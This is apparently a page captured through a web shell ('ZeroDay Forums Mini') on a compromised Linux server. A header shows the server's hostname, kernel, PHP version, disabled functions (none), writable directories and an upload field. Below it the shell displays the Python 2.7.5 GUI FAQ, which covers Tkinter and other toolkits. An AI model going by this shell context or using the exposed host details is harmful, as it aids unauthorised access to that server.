Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /usr/share/doc/python-docs-2.7.5/html/faq/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python-docs-2.7.5/html/faq/gui.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    
    <title>Graphic User Interface FAQ &mdash; Python 2.7.5 documentation</title>
    
    <link rel="stylesheet" href="../_static/default.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    
    <script type="text/javascript">
      var DOCUMENTATION_OPTIONS = {
        URL_ROOT:    '../',
        VERSION:     '2.7.5',
        COLLAPSE_INDEX: false,
        FILE_SUFFIX: '.html',
        HAS_SOURCE:  true
      };
    </script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.5 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="top" title="Python 2.7.5 documentation" href="../index.html" />
    <link rel="up" title="Python Frequently Asked Questions" href="index.html" />
    <link rel="next" title="“Why is Python Installed on my Computer?” FAQ" href="installed.html" />
    <link rel="prev" title="Python on Windows FAQ" href="windows.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 

  </head>
  <body>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="installed.html" title="“Why is Python Installed on my Computer?” FAQ"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="windows.html" title="Python on Windows FAQ"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="http://www.python.org/">Python</a> &raquo;</li>
        <li>
          <a href="../index.html">Python 2.7.5 documentation</a> &raquo;
        </li>

          <li><a href="index.html" accesskey="U">Python Frequently Asked Questions</a> &raquo;</li> 
      </ul>
    </div>  

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body">
            
  <div class="section" id="graphic-user-interface-faq">
<h1><a class="toc-backref" href="#id1">Graphic User Interface FAQ</a><a class="headerlink" href="#graphic-user-interface-faq" title="Permalink to this headline">¶</a></h1>
<div class="contents topic" id="contents">
<p class="topic-title first">Contents</p>
<ul class="simple">
<li><a class="reference internal" href="#graphic-user-interface-faq" id="id1">Graphic User Interface FAQ</a><ul>
<li><a class="reference internal" href="#what-platform-independent-gui-toolkits-exist-for-python" id="id2">What platform-independent GUI toolkits exist for Python?</a><ul>
<li><a class="reference internal" href="#tkinter" id="id3">Tkinter</a></li>
<li><a class="reference internal" href="#wxwidgets" id="id4">wxWidgets</a></li>
<li><a class="reference internal" href="#qt" id="id5">Qt</a></li>
<li><a class="reference internal" href="#gtk" id="id6">Gtk+</a></li>
<li><a class="reference internal" href="#fltk" id="id7">FLTK</a></li>
<li><a class="reference internal" href="#fox" id="id8">FOX</a></li>
<li><a class="reference internal" href="#opengl" id="id9">OpenGL</a></li>
</ul>
</li>
<li><a class="reference internal" href="#what-platform-specific-gui-toolkits-exist-for-python" id="id10">What platform-specific GUI toolkits exist for Python?</a></li>
<li><a class="reference internal" href="#tkinter-questions" id="id11">Tkinter questions</a><ul>
<li><a class="reference internal" href="#how-do-i-freeze-tkinter-applications" id="id12">How do I freeze Tkinter applications?</a></li>
<li><a class="reference internal" href="#can-i-have-tk-events-handled-while-waiting-for-i-o" id="id13">Can I have Tk events handled while waiting for I/O?</a></li>
<li><a class="reference internal" href="#i-can-t-get-key-bindings-to-work-in-tkinter-why" id="id14">I can&#8217;t get key bindings to work in Tkinter: why?</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="section" id="what-platform-independent-gui-toolkits-exist-for-python">
<h2><a class="toc-backref" href="#id2">What platform-independent GUI toolkits exist for Python?</a><a class="headerlink" href="#what-platform-independent-gui-toolkits-exist-for-python" title="Permalink to this headline">¶</a></h2>
<p>Depending on what platform(s) you are aiming at, there are several.</p>
<div class="section" id="tkinter">
<h3><a class="toc-backref" href="#id3">Tkinter</a><a class="headerlink" href="#tkinter" title="Permalink to this headline">¶</a></h3>
<p>Standard builds of Python include an object-oriented interface to the Tcl/Tk
widget set, called Tkinter.  This is probably the easiest to install and use.
For more info about Tk, including pointers to the source, see the Tcl/Tk home
page at <a class="reference external" href="http://www.tcl.tk">http://www.tcl.tk</a>.  Tcl/Tk is fully portable to the MacOS, Windows, and
Unix platforms.</p>
</div>
<div class="section" id="wxwidgets">
<h3><a class="toc-backref" href="#id4">wxWidgets</a><a class="headerlink" href="#wxwidgets" title="Permalink to this headline">¶</a></h3>
<p>wxWidgets (<a class="reference external" href="http://www.wxwidgets.org">http://www.wxwidgets.org</a>) is a free, portable GUI class
library written in C++ that provides a native look and feel on a
number of platforms, with Windows, MacOS X, GTK, X11, all listed as
current stable targets.  Language bindings are available for a number
of languages including Python, Perl, Ruby, etc.</p>
<p>wxPython (<a class="reference external" href="http://www.wxpython.org">http://www.wxpython.org</a>) is the Python binding for
wxwidgets.  While it often lags slightly behind the official wxWidgets
releases, it also offers a number of features via pure Python
extensions that are not available in other language bindings.  There
is an active wxPython user and developer community.</p>
<p>Both wxWidgets and wxPython are free, open source, software with
permissive licences that allow their use in commercial products as
well as in freeware or shareware.</p>
</div>
<div class="section" id="qt">
<h3><a class="toc-backref" href="#id5">Qt</a><a class="headerlink" href="#qt" title="Permalink to this headline">¶</a></h3>
<p>There are bindings available for the Qt toolkit (<a class="reference external" href="http://www.riverbankcomputing.co.uk/software/pyqt/">PyQt</a>) and for KDE (<a class="reference external" href="http://www.riverbankcomputing.co.uk/software/pykde/intro">PyKDE</a>).  If
you&#8217;re writing open source software, you don&#8217;t need to pay for PyQt, but if you
want to write proprietary applications, you must buy a PyQt license from
<a class="reference external" href="http://www.riverbankcomputing.co.uk">Riverbank Computing</a> and (up to Qt 4.4;
Qt 4.5 upwards is licensed under the LGPL license) a Qt license from <a class="reference external" href="http://www.trolltech.com">Trolltech</a>.</p>
</div>
<div class="section" id="gtk">
<h3><a class="toc-backref" href="#id6">Gtk+</a><a class="headerlink" href="#gtk" title="Permalink to this headline">¶</a></h3>
<p>PyGtk bindings for the <a class="reference external" href="http://www.gtk.org">Gtk+ toolkit</a> have been
implemented by James Henstridge; see &lt;<a class="reference external" href="http://www.pygtk.org">http://www.pygtk.org</a>&gt;.</p>
</div>
<div class="section" id="fltk">
<h3><a class="toc-backref" href="#id7">FLTK</a><a class="headerlink" href="#fltk" title="Permalink to this headline">¶</a></h3>
<p>Python bindings for <a class="reference external" href="http://www.fltk.org">the FLTK toolkit</a>, a simple yet
powerful and mature cross-platform windowing system, are available from <a class="reference external" href="http://pyfltk.sourceforge.net">the
PyFLTK project</a>.</p>
</div>
<div class="section" id="fox">
<h3><a class="toc-backref" href="#id8">FOX</a><a class="headerlink" href="#fox" title="Permalink to this headline">¶</a></h3>
<p>A wrapper for <a class="reference external" href="http://www.fox-toolkit.org/">the FOX toolkit</a> called <a class="reference external" href="http://fxpy.sourceforge.net/">FXpy</a> is available.  FOX supports both Unix variants
and Windows.</p>
</div>
<div class="section" id="opengl">
<h3><a class="toc-backref" href="#id9">OpenGL</a><a class="headerlink" href="#opengl" title="Permalink to this headline">¶</a></h3>
<p>For OpenGL bindings, see <a class="reference external" href="http://pyopengl.sourceforge.net">PyOpenGL</a>.</p>
</div>
</div>
<div class="section" id="what-platform-specific-gui-toolkits-exist-for-python">
<h2><a class="toc-backref" href="#id10">What platform-specific GUI toolkits exist for Python?</a><a class="headerlink" href="#what-platform-specific-gui-toolkits-exist-for-python" title="Permalink to this headline">¶</a></h2>
<p><a class="reference external" href="http://python.org/download/mac">The Mac port</a> by Jack Jansen has a rich and
ever-growing set of modules that support the native Mac toolbox calls.  The port
supports MacOS X&#8217;s Carbon libraries.</p>
<p>By installing the <a class="reference external" href="http://pyobjc.sourceforge.net">PyObjc Objective-C bridge</a>, Python programs can use MacOS X&#8217;s
Cocoa libraries. See the documentation that comes with the Mac port.</p>
<p><a class="reference internal" href="windows.html#windows-faq"><em>Pythonwin</em></a> by Mark Hammond includes an interface to the
Microsoft Foundation Classes and a Python programming environment
that&#8217;s written mostly in Python using the MFC classes.</p>
</div>
<div class="section" id="tkinter-questions">
<h2><a class="toc-backref" href="#id11">Tkinter questions</a><a class="headerlink" href="#tkinter-questions" title="Permalink to this headline">¶</a></h2>
<div class="section" id="how-do-i-freeze-tkinter-applications">
<h3><a class="toc-backref" href="#id12">How do I freeze Tkinter applications?</a><a class="headerlink" href="#how-do-i-freeze-tkinter-applications" title="Permalink to this headline">¶</a></h3>
<p>Freeze is a tool to create stand-alone applications.  When freezing Tkinter
applications, the applications will not be truly stand-alone, as the application
will still need the Tcl and Tk libraries.</p>
<p>One solution is to ship the application with the Tcl and Tk libraries, and point
to them at run-time using the <span class="target" id="index-0"></span><tt class="xref std std-envvar docutils literal"><span class="pre">TCL_LIBRARY</span></tt> and <span class="target" id="index-1"></span><tt class="xref std std-envvar docutils literal"><span class="pre">TK_LIBRARY</span></tt>
environment variables.</p>
<p>To get truly stand-alone applications, the Tcl scripts that form the library
have to be integrated into the application as well. One tool supporting that is
SAM (stand-alone modules), which is part of the Tix distribution
(<a class="reference external" href="http://tix.sourceforge.net/">http://tix.sourceforge.net/</a>).</p>
<p>Build Tix with SAM enabled, perform the appropriate call to
<tt class="xref c c-func docutils literal"><span class="pre">Tclsam_init()</span></tt>, etc. inside Python&#8217;s
<tt class="file docutils literal"><span class="pre">Modules/tkappinit.c</span></tt>, and link with libtclsam and libtksam (you
might include the Tix libraries as well).</p>
</div>
<div class="section" id="can-i-have-tk-events-handled-while-waiting-for-i-o">
<h3><a class="toc-backref" href="#id13">Can I have Tk events handled while waiting for I/O?</a><a class="headerlink" href="#can-i-have-tk-events-handled-while-waiting-for-i-o" title="Permalink to this headline">¶</a></h3>
<p>Yes, and you don&#8217;t even need threads!  But you&#8217;ll have to restructure your I/O
code a bit.  Tk has the equivalent of Xt&#8217;s <tt class="xref c c-func docutils literal"><span class="pre">XtAddInput()</span></tt> call, which allows you
to register a callback function which will be called from the Tk mainloop when
I/O is possible on a file descriptor.  Here&#8217;s what you need:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="kn">from</span> <span class="nn">Tkinter</span> <span class="kn">import</span> <span class="n">tkinter</span>
<span class="n">tkinter</span><span class="o">.</span><span class="n">createfilehandler</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="n">mask</span><span class="p">,</span> <span class="n">callback</span><span class="p">)</span>
</pre></div>
</div>
<p>The file may be a Python file or socket object (actually, anything with a
fileno() method), or an integer file descriptor.  The mask is one of the
constants tkinter.READABLE or tkinter.WRITABLE.  The callback is called as
follows:</p>
<div class="highlight-python"><div class="highlight"><pre><span class="n">callback</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="n">mask</span><span class="p">)</span>
</pre></div>
</div>
<p>You must unregister the callback when you&#8217;re done, using</p>
<div class="highlight-python"><div class="highlight"><pre><span class="n">tkinter</span><span class="o">.</span><span class="n">deletefilehandler</span><span class="p">(</span><span class="nb">file</span><span class="p">)</span>
</pre></div>
</div>
<p>Note: since you don&#8217;t know <em>how many bytes</em> are available for reading, you can&#8217;t
use the Python file object&#8217;s read or readline methods, since these will insist
on reading a predefined number of bytes.  For sockets, the <tt class="xref py py-meth docutils literal"><span class="pre">recv()</span></tt> or
<tt class="xref py py-meth docutils literal"><span class="pre">recvfrom()</span></tt> methods will work fine; for other files, use
<tt class="docutils literal"><span class="pre">os.read(file.fileno(),</span> <span class="pre">maxbytecount)</span></tt>.</p>
</div>
<div class="section" id="i-can-t-get-key-bindings-to-work-in-tkinter-why">
<h3><a class="toc-backref" href="#id14">I can&#8217;t get key bindings to work in Tkinter: why?</a><a class="headerlink" href="#i-can-t-get-key-bindings-to-work-in-tkinter-why" title="Permalink to this headline">¶</a></h3>
<p>An often-heard complaint is that event handlers bound to events with the
<tt class="xref py py-meth docutils literal"><span class="pre">bind()</span></tt> method don&#8217;t get handled even when the appropriate key is pressed.</p>
<p>The most common cause is that the widget to which the binding applies doesn&#8217;t
have &#8220;keyboard focus&#8221;.  Check out the Tk documentation for the focus command.
Usually a widget is given the keyboard focus by clicking in it (but not for
labels; see the takefocus option).</p>
</div>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar">
        <div class="sphinxsidebarwrapper">
  <h3><a href="../contents.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">Graphic User Interface FAQ</a><ul>
<li><a class="reference internal" href="#what-platform-independent-gui-toolkits-exist-for-python">What platform-independent GUI toolkits exist for Python?</a></li>
<li><a class="reference internal" href="#what-platform-specific-gui-toolkits-exist-for-python">What platform-specific GUI toolkits exist for Python?</a></li>
<li><a class="reference internal" href="#tkinter-questions">Tkinter questions</a></li>
</ul>
</li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="windows.html"
                        title="previous chapter">Python on Windows FAQ</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="installed.html"
                        title="next chapter">&#8220;Why is Python Installed on my Computer?&#8221; FAQ</a></p>
<h3>This Page</h3>
<ul class="this-page-menu">
  <li><a href="../bugs.html">Report a Bug</a></li>
  <li><a href="../_sources/faq/gui.txt"
         rel="nofollow">Show Source</a></li>
</ul>

<div id="searchbox" style="display: none">
  <h3>Quick search</h3>
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    <p class="searchtip" style="font-size: 90%">
    Enter search terms or a module, class or function name.
    </p>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="installed.html" title="“Why is Python Installed on my Computer?” FAQ"
             >next</a> |</li>
        <li class="right" >
          <a href="windows.html" title="Python on Windows FAQ"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="http://www.python.org/">Python</a> &raquo;</li>
        <li>
          <a href="../index.html">Python 2.7.5 documentation</a> &raquo;
        </li>

          <li><a href="index.html" >Python Frequently Asked Questions</a> &raquo;</li> 
      </ul>
    </div>
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2020, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="http://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Oct 13, 2020.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3.
    </div>

  </body>
</html>

ZeroDay Forums Mini